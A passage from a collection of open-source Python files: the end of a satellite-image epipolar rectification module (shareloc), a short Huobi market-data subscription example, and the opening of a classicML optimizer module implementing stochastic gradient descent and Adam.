local_epi_start, local_epi_end = compute_local_epipolar_line(\n geom_model_left, geom_model_right, left_origin, elevation, elevation_offset\n )\n\n # 2) Compute epipolar angle using the begin and the end of the left local epipolar line\n alpha = compute_epipolar_angle(local_epi_end, local_epi_start)\n\n # 3) Compute unitary vectors, useful for moving in rows and columns in epipolar geometry\n # Unit vector tangent to the epipolar line (moving along line)\n unit_vector_along_epi_x = math.cos(alpha)\n unit_vector_along_epi_y = math.sin(alpha)\n # Unit vector orthogonal to epipolar direction (moving to next line)\n unit_vector_ortho_epi_x = -math.sin(alpha)\n unit_vector_ortho_epi_y = math.cos(alpha)\n\n # 4) Compute the bounding box of the left input image in the epipolar geometry\n # Coordinates of the 4 corners\n ulx = 0\n uly = 0\n urx = unit_vector_along_epi_x * left_im.nb_columns * left_im.pixel_size_col\n ury = unit_vector_ortho_epi_x * left_im.nb_columns * left_im.pixel_size_col\n llx = unit_vector_along_epi_y * left_im.nb_rows * left_im.pixel_size_row\n lly = unit_vector_ortho_epi_y * left_im.nb_rows * left_im.pixel_size_row\n lrx = (\n unit_vector_along_epi_x * left_im.nb_columns * left_im.pixel_size_col\n + unit_vector_along_epi_y * left_im.nb_rows * left_im.pixel_size_row\n )\n lry = (\n unit_vector_ortho_epi_x * left_im.nb_columns * left_im.pixel_size_col\n + unit_vector_ortho_epi_y * left_im.nb_rows * left_im.pixel_size_row\n )\n\n # Bounding box\n minx = min(min(min(urx, llx), lrx), ulx)\n miny = min(min(min(ury, lly), lry), uly)\n maxx = max(max(max(urx, llx), lrx), ulx)\n maxy = max(max(max(ury, lly), lry), uly)\n\n # 5) Compute the size of epipolar images\n rectified_image_size = [int((maxy - miny) / mean_spacing), int((maxx - minx) / mean_spacing)]\n\n # 6) Georeferenced coordinates of the upper-left and lower right position of left epipolar image\n # (starting point, end point)\n left_epi_origin = [\n left_origin[0] + (unit_vector_along_epi_y * minx + unit_vector_ortho_epi_y * miny),\n left_origin[1] + (unit_vector_along_epi_x * minx + unit_vector_ortho_epi_x * miny),\n (local_epi_start[2] + local_epi_end[2]) / 2.0,\n ]\n\n left_epi_end = [\n left_origin[0] + (unit_vector_along_epi_y * maxx + unit_vector_ortho_epi_y * maxy),\n left_origin[1] + (unit_vector_along_epi_x * maxx + unit_vector_ortho_epi_x * maxy),\n (local_epi_start[2] + local_epi_end[2]) / 2.0,\n ]\n\n # 7) Compute the size of the epipolar grids, convention [nb_row, nb_col]\n grid_size = [int(rectified_image_size[0] / epi_step + 2), int(rectified_image_size[1] / epi_step + 2)]\n\n return grid_pixel_size, grid_size, rectified_image_size, left_epi_origin, left_epi_end\n\n\ndef get_epipolar_extent(\n left_im, geom_model_left, geom_model_right, elevation=0.0, epi_step=30.0, elevation_offset=50.0, margin=0.0\n):\n \"\"\"\n return epipolar footprint using reprojection of epipolar geometry in left image.\n\n :param left_im: left image\n :type left_im: shareloc.image object\n :param geom_model_left: geometric model of the left image\n :type geom_model_left: shareloc.grid or shareloc.rpc\n :param geom_model_right: geometric model of the right image\n :type geom_model_right: shareloc.grid or shareloc.rpc\n :param elevation: elevation\n :type elevation: shareloc.dtm or float\n :param epi_step: epipolar step\n :type epi_step: float\n :param elevation_offset: elevation difference used to estimate the local tangent\n :type elevation_offset: float\n :param margin: footprint margin (in degrees)\n :type margin : float\n :return extent : [lon_min,lat_min,lon max,lat max] (2D np.array)\n :rtype numpy.array\n \"\"\"\n footprint = np.zeros([2, 2])\n __, __, __, left_epi_origin, left_epi_end = prepare_rectification(\n left_im, geom_model_left, geom_model_right, elevation, epi_step, elevation_offset\n )\n footprint[0, :] = left_epi_origin[0:2]\n footprint[1, :] = left_epi_end[0:2]\n using_geotransform = False\n loc_left = Localization(geom_model_left, image=left_im)\n on_ground_pos = loc_left.direct(footprint[:, 0], footprint[:, 1], 0, using_geotransform=using_geotransform)\n [lon_min, lat_min, __] = np.min(on_ground_pos, 0)\n [lon_max, lat_max, __] = np.max(on_ground_pos, 0)\n return np.array([lat_min - margin, lon_min - margin, lat_max + margin, lon_max + margin])\n\n\ndef initialize_grids(epi_step, nb_row, nb_col):\n \"\"\"\n Initialize left and right epipolar grids : set geo-transform and zeros data\n\n :param epi_step: epipolar step\n :param nb_row: rows of the grid\n :param nb_col: columns of the grid\n :return: left epipolar grid, right epipolar grid\n :rtype : Tuple(shareloc.Image, shareloc.Image)\n \"\"\"\n # Initialize left and right epipolar grids\n left_grid = Image(image_path=None)\n\n # Convention :\n # | col pixel size, row rotation , origin col upper-left|\n # | col rotation, row pixel size, , origin row upper-left|\n left_grid_geo_transform = np.array(\n [epi_step, 0, -(epi_step * 0.5), 0, epi_step, -(epi_step * 0.5)], dtype=np.float64\n )\n left_grid.set_metadata(nb_row, nb_col, 2, left_grid_geo_transform, datatype=np.float64)\n\n right_grid = Image(image_path=None)\n right_grid_geo_transform = np.array(\n [epi_step, 0, -(epi_step * 0.5), 0, epi_step, -(epi_step * 0.5)], dtype=np.float64\n )\n right_grid.set_metadata(nb_row, nb_col, 2, right_grid_geo_transform, datatype=np.float64)\n\n return left_grid, right_grid\n\n\ndef moving_to_next_line(geom_model_left, geom_model_right, current_line, mean_spacing, elevation, epi_step, alpha):\n \"\"\"\n Moving to the next line in epipolar geometry\n\n :param geom_model_left: geometric model of the left image\n :type geom_model_left: shareloc.grid or shareloc.rpc\n :param geom_model_right: geometric model of the right image\n :type geom_model_right: shareloc.grid or shareloc.rpc\n :param current_line: current line in the left epipolar geometry\n :type current_line: 1D np.array [row, col, altitude]\n :param mean_spacing: mean spacing of epipolar grids\n :type mean_spacing: int\n :param elevation: elevation\n :type elevation: shareloc.dtm or float\n :param epi_step: epipolar step\n :type epi_step: int\n :param alpha: epipolar angle\n :type alpha: float\n :return: left and right coordinates of the next line in epioplar geometry\n :rtype: Tuple([row, col, altitude], [row, col, altitude])\n \"\"\"\n # Find the start of next line in epipolar geometry\n # Unit vector orthogonal to epipolar direction\n unit_vector_ortho_epi_y = epi_step * mean_spacing * math.cos(alpha)\n unit_vector_ortho_epi_x = -1 * mean_spacing * epi_step * math.sin(alpha)\n\n next_line_start_left = np.zeros(3, dtype=np.float64)\n\n next_line_start_left[0] = np.copy(current_line[0]) + unit_vector_ortho_epi_y\n next_line_start_left[1] = np.copy(current_line[1]) + unit_vector_ortho_epi_x\n\n # Find the corresponding starting point in the right image\n next_line_start_right = np.zeros(3, dtype=np.float64)\n next_line_start_right[0], next_line_start_right[1], next_line_start_right[2] = coloc(\n geom_model_left, geom_model_right, next_line_start_left[0], next_line_start_left[1], elevation\n )\n return next_line_start_left, next_line_start_right\n\n\ndef moving_along_lines(\n geom_model_left, geom_model_right, current_left_coords, mean_spacing, elevation, epi_step, alphas\n):\n \"\"\"\n Determine the position of next pixels in the epipolare lines\n\n :param geom_model_left: geometric model of the left image\n :type geom_model_left: shareloc.grid or shareloc.rpc\n :param geom_model_right: geometric model of the right image\n :type geom_model_right: shareloc.grid or shareloc.rpc\n :param current_left_coords: current georeferenced coordinates in left epipolare line\n :type current_left_coords: 2D numpy array (number rows in epipolar geometry, [row, col, altitude])\n :param mean_spacing: mean spacing of epipolar grids\n :type mean_spacing: int\n :param elevation: elevation\n :type elevation: shareloc.dtm or float\n :param epi_step: epipolar step\n :type epi_step: int\n :param alphas: epipolar angles of each local epipolar lines\n :type alphas: List\n :return: coordinates of next pixels in left epipolar line, coordinates of next pixels in right epipolar line\n :rtype: Tuple(2D numpy array (number rows in epipolar geometry, [row, col, altitude]),\n 2D numpy array (number rows in epipolar geometry, [row, col, altitude]))\n \"\"\"\n # Determine position of next pixels in the epipolar line of the left image (moving along lines)\n # Unit vector tangent to the epipolar line\n unit_vector_along_epi_y = epi_step * mean_spacing * np.sin(alphas)\n unit_vector_along_epi_x = epi_step * mean_spacing * np.cos(alphas)\n\n # Move to the next pixels in left image\n next_left_coords = np.copy(current_left_coords)\n next_left_coords[:, 0] += unit_vector_along_epi_y\n next_left_coords[:, 1] += unit_vector_along_epi_x\n\n # Find the corresponding next pixels in the right image\n next_right_coords = np.zeros(next_left_coords.shape, dtype=next_left_coords.dtype)\n next_right_coords[:, 0], next_right_coords[:, 1], next_right_coords[:, 2] = coloc(\n geom_model_left, geom_model_right, next_left_coords[:, 0], next_left_coords[:, 1], elevation\n )\n return next_left_coords, next_right_coords\n\n\n# disable for api symmetry between left and right data\n# pylint: disable=unused-argument\n# pylint: disable=too-many-locals\ndef compute_stereorectification_epipolar_grids(\n left_im, geom_model_left, right_im, geom_model_right, elevation=0.0, epi_step=1, elevation_offset=50.0\n):\n \"\"\"\n Compute stereo-rectification epipolar grids\n\n :param left_im: left image\n :type left_im: shareloc.image object\n :param geom_model_left: geometric model of the left image\n :type geom_model_left: shareloc.grid or shareloc.rpc\n :param right_im: right image\n :type right_im: shareloc.image object\n :param geom_model_right: geometric model of the right image\n :type geom_model_right: shareloc.grid or shareloc.rpc\n :param elevation: elevation\n :type elevation: shareloc.dtm or float\n :param epi_step: epipolar step\n :type epi_step: int\n :param elevation_offset: elevation difference used to estimate the local tangent\n :type elevation_offset: float\n :return: return :\n - left epipolar grid, shareloc.image object convention [[row displacement, col displacement], nb rows, nb cols]\n - right epipolar grid, shareloc.image object convention [[row displacement, col displacement], nb rows, nb cols]\n - number of rows of the epipolar image, int\n - number of columns of the epipolar image, int\n - mean value of the baseline to sensor altitude ratio, float\n :rtype: Tuple\n \"\"\"\n # Retrieve grids : spacing (pixel size) and size\n # Retrieve epipolar image : size and upper-left origin in the left image geometry (starting point)\n __, grid_size, rectified_image_size, left_epi_origin, __ = prepare_rectification(\n left_im, geom_model_left, geom_model_right, elevation, epi_step, elevation_offset\n )\n\n # Use the mean spacing as before\n mean_spacing = 0.5 * (abs(left_im.pixel_size_col) + abs(left_im.pixel_size_row))\n\n left_grid, right_grid = initialize_grids(epi_step, grid_size[0], grid_size[1])\n\n # Starting points are the upper-left origin of the left epipolar image, and it's correspondent in the right image\n start_left = np.copy(left_epi_origin)\n start_right = np.zeros(3, dtype=start_left.dtype)\n start_right[0], start_right[1], start_right[2] = coloc(\n geom_model_left, geom_model_right, start_left[0], start_left[1], elevation\n )\n\n mean_baseline_ratio = 0\n\n # Compute the starting point of each epipolar line to be able to move along the lines (useful to vectorize the code)\n # Georeferenced coordinates of each starting epipolar lines in left and right image\n left_epi_lines = [np.copy(start_left)]\n right_epi_lines = [np.copy(start_right)]\n\n # For each rows of the epipolar geometry, define left and right starting coordinates of each epipolar lines\n for __ in range(grid_size[0] - 1):\n # --- Compute left local epipolar line, useful for moving to the next line ---\n local_epi_start, local_epi_end = compute_local_epipolar_line(\n geom_model_left, geom_model_right, left_epi_lines[-1], elevation, elevation_offset\n )\n\n # epipolar angle using the begin and the end of the left local epipolar line\n alpha = compute_epipolar_angle(local_epi_end, local_epi_start)\n # Find the start of next line in epipolar geometry\n next_epi_line_left, next_epi_line_right = moving_to_next_line(\n geom_model_left, geom_model_right, left_epi_lines[-1], mean_spacing, elevation, epi_step, alpha\n )\n\n # Save the starting points, useful to be able to move along the lines in the next loop\n left_epi_lines.append(np.copy(next_epi_line_left))\n right_epi_lines.append(np.copy(next_epi_line_right))\n\n # Left and right epipolar coordinates of the current point\n left_epi_coords = np.array(left_epi_lines)\n right_epi_coords = np.array(right_epi_lines)\n\n # Moving along epipolar lines\n rows = np.arange(grid_size[0])\n for col in range(grid_size[1]):\n # Estimate the displacement values of the current pixels\n # Cast grid index to georeferenced grid coordinates\n current_left_grid = left_grid.transform_index_to_physical_point(rows, np.repeat(col, rows.shape[0]))\n current_right_grid = right_grid.transform_index_to_physical_point(rows, np.repeat(col, rows.shape[0]))\n\n left_grid.data[0, :, col] = left_epi_coords[:, 0] - current_left_grid[0]\n left_grid.data[1, :, col] = left_epi_coords[:, 1] - current_left_grid[1]\n right_grid.data[0, :, col] = right_epi_coords[:, 0] - current_right_grid[0]\n right_grid.data[1, :, col] = right_epi_coords[:, 1] - current_right_grid[1]\n\n # Compute left local epipolar line, useful to estimate the local baseline ratio and moving to the next pixels\n local_epi_start, local_epi_end = compute_local_epipolar_line(\n geom_model_left, geom_model_right, left_epi_coords, elevation, elevation_offset\n )\n # Estimate the local baseline ratio\n local_baseline_ratio = np.sqrt(\n (local_epi_end[:, 1] - local_epi_start[:, 1]) * (local_epi_end[:, 1] - local_epi_start[:, 1])\n + (local_epi_end[:, 0] - local_epi_start[:, 0]) * (local_epi_end[:, 0] - local_epi_start[:, 0])\n ) / (2 * elevation_offset)\n mean_baseline_ratio += np.sum(local_baseline_ratio)\n\n # epipolar angle using the begin and the end of the left local epipolar lines\n alphas = compute_epipolar_angle(local_epi_end, local_epi_start)\n\n # Move to the next pixels in the epipolar line (moving along lines)\n left_epi_coords, right_epi_coords = moving_along_lines(\n geom_model_left, geom_model_right, left_epi_coords, mean_spacing, elevation, epi_step, alphas\n )\n\n # Compute the mean baseline ratio\n mean_baseline_ratio /= grid_size[0] * grid_size[1]\n\n return left_grid, right_grid, rectified_image_size[0], rectified_image_size[1], mean_baseline_ratio\n", "source": "CNES/shareloc", "license": "Apache-2.0"} {"text": "from huobi.client.market import MarketClient\nfrom huobi.constant import *\n\ndef callback(mbp_event: 'MbpFullEvent'):\n mbp_event.print_object()\n\ndef error(e: 'HuobiApiException'):\n print(e.error_code + e.error_message)\n\nmarket_client = MarketClient(init_log=True)\nmarket_client.sub_mbp_full(\"btcusdt,eosusdt\", MbpLevel.MBP20, callback, error)\n\n", "source": "codemonkey89/huobi_Python", "license": "Apache-2.0"} {"text": "\"\"\"classicML\u7684\u4f18\u5316\u5668.\"\"\"\nimport os\nfrom time import time\n\nimport numpy as np\n\nfrom classicML import _cml_precision\nif os.environ['CLASSICML_ENGINE'] == 'CC':\n from classicML.backend.cc.activations import relu\n from classicML.backend.cc.activations import sigmoid\n from classicML.backend.cc.activations import softmax\n\n from classicML.backend.cc.callbacks import History\n\n from classicML.backend.cc._utils import ProgressBar\n\n from classicML.backend.cc.ops import cc_calculate_error as calculate_error\n from classicML.backend.cc.ops import cc_clip_alpha as clip_alpha\n from classicML.backend.cc.ops import cc_select_second_alpha as select_second_alpha\nelse:\n from classicML.backend.python.activations import relu\n from classicML.backend.python.activations import sigmoid\n from classicML.backend.python.activations import softmax\n\n from classicML.backend.python.callbacks import History\n\n from classicML.backend.python._utils import ProgressBar\n\n from classicML.backend.python.ops import calculate_error\n from classicML.backend.python.ops import clip_alpha\n from classicML.backend.python.ops import select_second_alpha\n\n__version__ = 'backend.python.optimizers.0.1.a1'\n\n\ndef _get_optimizer_parameters(args, kwargs):\n \"\"\"\u83b7\u53d6\u4f18\u5316\u5668\u7684\u989d\u5916\u53c2\u6570.\n\n Arguments:\n args: *args\u5143\u7ec4.\n kwargs: **kwargs\u5b57\u5178.\n\n Returns:\n \u989d\u5916\u7684\u53c2\u6570\u5217\u8868.\n \"\"\"\n parameters = ['verbose', 'loss', 'metric', 'callbacks']\n for index, arg in enumerate(args):\n parameters[index] = arg\n\n for kwarg in kwargs:\n for index, parameter in enumerate(parameters):\n if str(kwarg) == parameter:\n parameters[index] = kwargs[kwarg]\n\n return parameters\n\n\ndef _record_callbacks(callbacks, loss_value, metric_value):\n \"\"\"\u8bb0\u5f55callbacks\u6570\u636e.\n\n Arguments:\n callbacks: list, callbacks\u5217\u8868.\n loss_value: float, \u5f53\u524d\u7684\u635f\u5931\u503c.\n metric_value: float, \u5f53\u524d\u7684\u8bc4\u4f30\u503c.\n \"\"\"\n for callback in callbacks:\n if isinstance(callback, History):\n callback(loss_value, metric_value)\n else:\n pass\n\n\nclass Optimizer(object):\n \"\"\"\u4f18\u5316\u5668\u7684\u57fa\u7c7b.\n\n Attributes:\n name: str, default=None,\n \u4f18\u5316\u5668\u7684\u540d\u79f0.\n _progressbar: classicML.backend.python.utils.ProgressBar,\n \u8fdb\u5ea6\u6761.\n \"\"\"\n def __init__(self, name=None):\n \"\"\"\n Arguments:\n name: str, default=None,\n \u4f18\u5316\u5668\u7684\u540d\u79f0.\n \"\"\"\n self.name = name\n self._progressbar = None\n\n def __call__(self, x, y, epochs, parameters, *args, **kwargs):\n \"\"\"\u51fd\u6570\u5b9e\u73b0.\n\n Arguments:\n x: numpy.ndarray, array-like, \u7279\u5f81\u6570\u636e.\n y: numpy.ndarray, array-like, \u6807\u7b7e.\n epochs: int, default=1, \u8bad\u7ec3\u7684\u8f6e\u6570.\n parameters: numpy.ndarray, \u6a21\u578b\u7684\u53c2\u6570\u77e9\u9635.\n \"\"\"\n return self.run(x, y, epochs, parameters, *args, **kwargs)\n\n def run(self, x, y, epochs, parameters, *args, **kwargs):\n \"\"\"\u8fd0\u884c\u4f18\u5316\u5668\u4f18\u5316\u53c2\u6570.\n\n Arguments:\n x: numpy.ndarray, array-like, \u7279\u5f81\u6570\u636e.\n y: numpy.ndarray, array-like, \u6807\u7b7e.\n epochs: int, default=1, \u8bad\u7ec3\u7684\u8f6e\u6570.\n parameters: numpy.ndarray, \u6a21\u578b\u7684\u53c2\u6570\u77e9\u9635.\n \"\"\"\n raise NotImplementedError\n\n def _update_parameters(self, parameters, grad, *args, **kwargs):\n \"\"\"\u66f4\u65b0\u6a21\u578b\u7684\u53c2\u6570.\n\n Arguments:\n parameters: numpy.ndarray, \u6a21\u578b\u7684\u53c2\u6570\u77e9\u9635.\n grad: numpy.ndarray, \u4f18\u5316\u5668\u7684\u5b9e\u65f6\u68af\u5ea6\u77e9\u9635.\n \"\"\"\n raise NotImplementedError\n\n\nclass StochasticGradientDescent(Optimizer):\n \"\"\"\u968f\u673a\u68af\u5ea6\u4e0b\u964d\u4f18\u5316\u5668.\n\n Notes:\n - \u5982\u679c\u60f3\u56fa\u5b9a\u968f\u673a\u79cd\u5b50, \u5b9e\u73b0\u590d\u73b0\u7684\u8bdd,\n \u8bf7\u5728\u6a21\u578b\u5b9e\u4f8b\u5316\u7684\u65f6\u5019\u5c06\u968f\u673a\u79cd\u5b50\u7f6e\u4e3a\u4e00\u4e2a\u5e38\u6574\u6570.\n \"\"\"\n\n def __init__(self, name='stochastic_gradient_descent', learning_rate=1e-2):\n \"\"\"\n Arguments:\n name: str, default=None,\n \u4f18\u5316\u5668\u7684\u540d\u79f0.\n learning_rate: float, default=1e-2,\n \u4f18\u5316\u5668\u7684\u5b66\u4e60\u7387.\n \"\"\"\n super(StochasticGradientDescent, self).__init__(name=name)\n self.learning_rate = learning_rate\n\n def run(self, x, y, epochs, parameters, *args, **kwargs):\n \"\"\"\u8fd0\u884c\u4f18\u5316\u5668\u4f18\u5316\u53c2\u6570.\n\n Arguments:\n x: numpy.ndarray, array-like, \u7279\u5f81\u6570\u636e.\n y: numpy.ndarray, array-like, \u6807\u7b7e.\n epochs: int, default=1, \u8bad\u7ec3\u7684\u8f6e\u6570.\n parameters: numpy.ndarray, \u6a21\u578b\u7684\u53c2\u6570\u77e9\u9635.\n args:\n verbose: bool, \u663e\u793a\u65e5\u5fd7\u4fe1\u606f.\n loss: str, classicML.losses.Loss \u5b9e\u4f8b,\n \u6a21\u578b\u4f7f\u7528\u7684\u635f\u5931\u51fd\u6570.\n metric: str, classicML.metrics.Metric \u5b9e\u4f8b,\n \u6a21\u578b\u4f7f\u7528\u7684\u8bc4\u4f30\u51fd\u6570.\n callbacks: list,\n \u6a21\u578b\u8bad\u7ec3\u8fc7\u7a0b\u7684\u4e2d\u95f4\u6570\u636e\u8bb0\u5f55\u5668.\n Returns:\n \u6a21\u578b\u7684\u53c2\u6570\u77e9\u9635.\n \"\"\"\n verbose, loss, metric, callbacks = _get_optimizer_parameters(args, kwargs)\n num_of_features = x.shape[0]\n\n if verbose is True:\n # \u5b9e\u4f8b\u5316\u8fdb\u5ea6\u6761\n self._progressbar = ProgressBar(epochs, loss, metric)\n\n for epoch in range(1, epochs + 1):\n current = time()\n # \u968f\u673a\u9009\u53d6\u6837\u672c\n random_index = np.random.randint(0, num_of_features)\n # \u524d\u5411\u4f20\u64ad\n y_pred, caches = self.forward(x[[random_index], :], parameters)\n # \u53cd\u5411\u4f20\u64ad\n # Notes: \u6b64\u65f6y_true\u662f\u4e2ascalar\n grad = self.backward(y_pred, np.asarray([y[random_index]]), caches)\n # \u66f4\u65b0\u53c2\u6570\n parameters = self._update_parameters(parameters, grad)\n # \u4ee5\u4e0b\u7684\u64cd\u4f5c\u662f\u4e3a\u4e86\u66f4\u597d\u53ef\u89c6\u5316\u7684, \u4e0d\u53c2\u4e0e\u5b9e\u9645\u4f18\u5316\n if self._progressbar or callbacks is not None:\n # \u7531\u4e8e\u6bcf\u6b21\u53ea\u66f4\u65b0\u4e00\u4e2a\u6837\u672c\u5bfc\u81f4\u9884\u6d4b\u503c\u7684\u5f62\u72b6\u548c\u6807\u7b7e\u4e0d\u4e00\u81f4,\n # \u56e0\u6b64\u9700\u8981\u591a\u505a\u4e00\u6b21\u524d\u5411\u4f20\u64ad\n y_pred, _ = self.forward(x, parameters)\n\n loss_value = loss(y_pred, y)\n metric_value = metric(y_pred, y)\n\n # \u8fdb\u5ea6\u6761\u663e\u793a\n if self._progressbar:\n self._progressbar(epoch, current, loss_value, metric_value)\n # \u8bb0\u5f55callbacks\n if callbacks:\n _record_callbacks(callbacks, loss_value, metric_value)\n\n return parameters\n\n def _update_parameters(self, parameters, grad, *args, **kwargs):\n \"\"\"\u66f4\u65b0\u6a21\u578b\u7684\u53c2\u6570.\n\n Arguments:\n parameters: numpy.ndarray, \u6a21\u578b\u7684\u53c2\u6570\u77e9\u9635.\n grad: numpy.ndarray, \u4f18\u5316\u5668\u7684\u5b9e\u65f6\u68af\u5ea6\u77e9\u9635.\n\n Returns:\n \u6a21\u578b\u7684\u53c2\u6570\u77e9\u9635.\n \"\"\"\n num_of_matrix_ops = len(parameters) // 2\n\n for i in range(1, num_of_matrix_ops + 1):\n parameters['w' + str(i)] -= self.learning_rate * grad['dw' + str(i)]\n parameters['b' + str(i)] -= self.learning_rate * grad['db' + str(i)]\n\n return parameters\n\n @staticmethod\n def forward(x, parameters):\n \"\"\"\u4f18\u5316\u5668\u524d\u5411\u4f20\u64ad.\n\n Arguments:\n x: numpy.ndarray, array-like, \u7279\u5f81\u6570\u636e.\n parameters: numpy.ndarray, \u6a21\u578b\u7684\u53c2\u6570\u77e9\u9635.\n\n Returns:\n \u9884\u6d4b\u7684\u6807\u7b7e(\u6982\u7387\u5f62\u5f0f)\u548c\u53c2\u6570\u77e9\u9635\u7f13\u5b58.\n \"\"\"\n num_of_matrix_ops = len(parameters) // 2\n caches = []\n\n a = x # \u9664\u4e86\u7b2c\u4e00\u4e2a\u8f93\u5165\u5c42\u4ee5\u5916, \u5176\u4ed6\u7684\u662f\u7ecf\u8fc7\u6fc0\u6d3b\u540e\u7684\n\n for i in range(1, num_of_matrix_ops):\n # \u63d0\u53d6\u53c2\u6570\n w = parameters['w' + str(i)]\n b = parameters['b' + str(i)]\n x = a # \u63d0\u53d6\u4e0a\u4e00\u8f6e\u7684a\u4f5c\u4e3a\u8f93\u5165\n\n # \u8ba1\u7b97\u8f93\u51fa\u5e76\u6fc0\u6d3b\n z = np.matmul(x, w.T) + b\n a = relu(z)\n # \u4fdd\u5b58\u53c2\u6570\u7f13\u5b58\n cache = (x, w, a)\n caches.append(cache)\n\n # \u8f93\u51fa\u5c42\u7684\u6fc0\u6d3b\u51fd\u6570\u4e0d\u540c, \u5355\u72ec\u5904\u7406\n w_output = parameters['w' + str(num_of_matrix_ops)]\n b_output = parameters['b' + str(num_of_matrix_ops)]\n\n z = np.matmul(a, w_output.T) + b_output\n if w_output.shape[0] == 1:\n y_pred = sigmoid(z)\n else:\n y_pred = softmax(z)\n\n cache = (a, w_output, y_pred)\n caches.append(cache)\n\n return y_pred, caches\n\n @staticmethod\n def backward(y_pred, y_true, caches):\n \"\"\"\u4f18\u5316\u5668\u53cd\u5411\u4f20\u64ad.\n\n Arguments:\n y_pred: numpy.ndarray, \u9884\u6d4b\u7684\u6807\u7b7e(\u6982\u7387\u5f62\u5f0f).\n y_true: numpy.ndarray, \u771f\u5b9e\u7684\u6807\u7b7e.\n caches: numpy.ndarray, \u53c2\u6570\u7f13\u5b58.\n\n Returns:\n \u4f18\u5316\u5668\u7684\u5b9e\u65f6\u68af\u5ea6\u77e9\u9635\u5b57\u5178.\n \"\"\"\n num_of_caches = len(caches)\n grad = {}\n\n if y_true.ndim == 1:\n y_true = y_true.reshape(-1, 1)\n\n # \u63d0\u53d6\u7f13\u5b58\n (x, w, a) = caches[num_of_caches - 1]\n if y_true.shape[1] == 1:\n # \u5728\u4e8c\u5206\u7c7b\u7684\u60c5\u51b5\u4e0b, y_true\u7684\u6807\u7b7e\u4e3a\u96f6\u7684\u65f6\u5019\u4f1a\u5bfc\u81f4\u65e0\u6cd5\u8ba1\u7b97\u68af\u5ea6\n # \u8fd9\u91cc\u4e3a\u4e86\u89e3\u51b3\u8fd9\u4e2a\u95ee\u9898\u8fdb\u884c\u4e86\u5f52\u4e00\u5316, (-\u65e0\u7a77, 0)\u548c(0, \u65e0\u7a77),\n # \u5b9e\u9645\u4e0a\u5230\u4e0d\u4e86\u65e0\u7a77, \u572810\u4ee5\u5185\n y_true = -(y_true / y_pred - (1 - y_true) / (1 - y_pred))\n da = sigmoid.diff(y_pred, a, y_true)\n else:\n da = softmax.diff(y_true, a)\n\n # \u8ba1\u7b97\u68af\u5ea6\u5e76\u4fdd\u5b58\n dw, db, da_ = StochasticGradientDescent._get_grad(da, y_true, caches[num_of_caches - 1])\n grad['dw' + str(num_of_caches)] = dw\n grad['db' + str(num_of_caches)] = db\n grad['da' + str(num_of_caches)] = da_\n\n for cache in range(num_of_caches - 1, 0, -1):\n (x, w, a) = caches[cache - 1]\n\n output = grad.get('da' + str(cache + 1))\n da = relu.diff(output, a)\n\n # \u8ba1\u7b97\u68af\u5ea6\u5e76\u4fdd\u5b58\n dw, db, da_ = StochasticGradientDescent._get_grad(da, y_true, caches[cache - 1])\n grad['dw' + str(cache)] = dw\n grad['db' + str(cache)] = db\n grad['da' + str(cache)] = da_\n\n return grad\n\n @staticmethod\n def _get_grad(da, y_true, cache):\n \"\"\"\u83b7\u53d6\u68af\u5ea6.\n\n Arguments:\n da: numpy.ndarray, \u8f93\u51fa\u5f20\u91cf\u7684\u68af\u5ea6.\n y_true: numpy.ndarray, \u771f\u5b9e\u7684\u6807\u7b7e.\n cache: numpy.ndarray, \u53c2\u6570\u7f13\u5b58.\n\n Returns:\n \u53c2\u6570\u77e9\u9635, \u504f\u7f6e\u77e9\u9635, \u8f93\u51fa\u5f20\u91cf\u7684\u68af\u5ea6.\n \"\"\"\n\n # \u63d0\u53d6\u7f13\u5b58\n (x, w, a) = cache\n\n dw = np.matmul(da.T, x) / y_true.shape[0]\n db = np.sum(da, axis=0, keepdims=True) / y_true.shape[0]\n da_ = np.matmul(da, w)\n\n return dw, db, da_\n\n\nclass Adam(StochasticGradientDescent):\n \"\"\"\u81ea\u9002\u5e94\u77e9\u4f30\u8ba1\u4f18\u5316\u5668.\n\n References:\n - [Kingma et al., 2014](https://arxiv.org/abs/1412.6980)\n \u53c2\u7167\u7b97\u6cd51\u5177\u4f53\u5b9e\u73b0.\n\n Notes:\n - \u5982\u679c\u60f3\u56fa\u5b9a\u968f\u673a\u79cd\u5b50\u5b9e\u73b0, \u5b9e\u73b0\u590d\u73b0\u7684\u8bdd,\n \u8bf7\u5728\u6a21\u578b\u5b9e\u4f8b\u5316\u7684\u65f6\u5019\u5c06\u968f\u673a\u79cd\u5b50\u7f6e\u4e3a\u4e00\u4e2a\u5e38\u6574\u6570.\n - \u5e76\u91c7\u7528\u968f\u673a\u68af\u5ea6\u4e0b\u964d\u4f5c\u4e3a\u57fa\u7840\u4f18\u5316\u7b97\u6cd5\u5b9e\u73b0\u7684.\n - \u8d85\u53c2\u6570epsilon\u6309\u7167\u5176\u4ed6\u7684\u673a\u5668\u5b66\u4e60\u6846\u67b6\u8bbe\u7f6e\u76841e-7,\n \u975e\u539f\u8bba\u6587\u76841e-8.\n \"\"\"\n\n def __init__(self,\n name='adam',\n learning_rate=1e-3,\n beta_1=0.9,\n beta_2=0.999,\n epsilon=1e-7):\n \"\"\"\n Arguments:\n name: str, default=None,\n \u4f18\u5316\u5668\u7684\u540d\u79f0.\n learning_rate: float, default=1e-3,\n \u4f18\u5316\u5668\u7684\u5b66\u4e60\u7387.\n beta_1: float, default=0.9,\n \u4e00\u9636\u77e9\u4f30\u8ba1\u8870\u51cf\u7387.\n beta_2: float, default=0.999\n \u4e8c\u9636\u77e9\u4f30\u8ba1\u8870\u51cf\u7387.\n epsilon: float, default=1e-7,\n \u6570\u503c\u7a33\u5b9a\u7684\u5c0f\u5e38\u6570.\n \"\"\"\n super(Adam, self).__init__(name=name)\n self.learning_rate = learning_rate\n self.beta_1 = beta_1\n self.beta_2 = beta_2\n self.epsilon = epsilon\n\n def run(self, x, y, epochs, parameters, *args, **kwargs):\n \"\"\"\u8fd0\u884c\u4f18\u5316\u5668\u4f18\u5316\u53c2\u6570.\n\n Arguments:\n x: numpy.ndarray, array-like, \u7279\u5f81\u6570\u636e.\n y: numpy.ndarray, array-like, \u6807\u7b7e.\n epochs: int, default=1, \u8bad\u7ec3\u7684\u8f6e\u6570.\n parameters: numpy.ndarray, \u6a21\u578b\u7684\u53c2\u6570\u77e9\u9635.\n args:\n verbose: bool, \u663e\u793a\u65e5\u5fd7\u4fe1\u606f.\n loss: str, classicML.losses.Loss \u5b9e\u4f8b,\n \u6a21\u578b\u4f7f\u7528\u7684\u635f\u5931\u51fd\u6570.\n metric: str, classicML.metrics.Metric \u5b9e\u4f8b,\n \u6a21\u578b\u4f7f\u7528\u7684\u8bc4\u4f30\u51fd\u6570.\n callbacks: list,\n 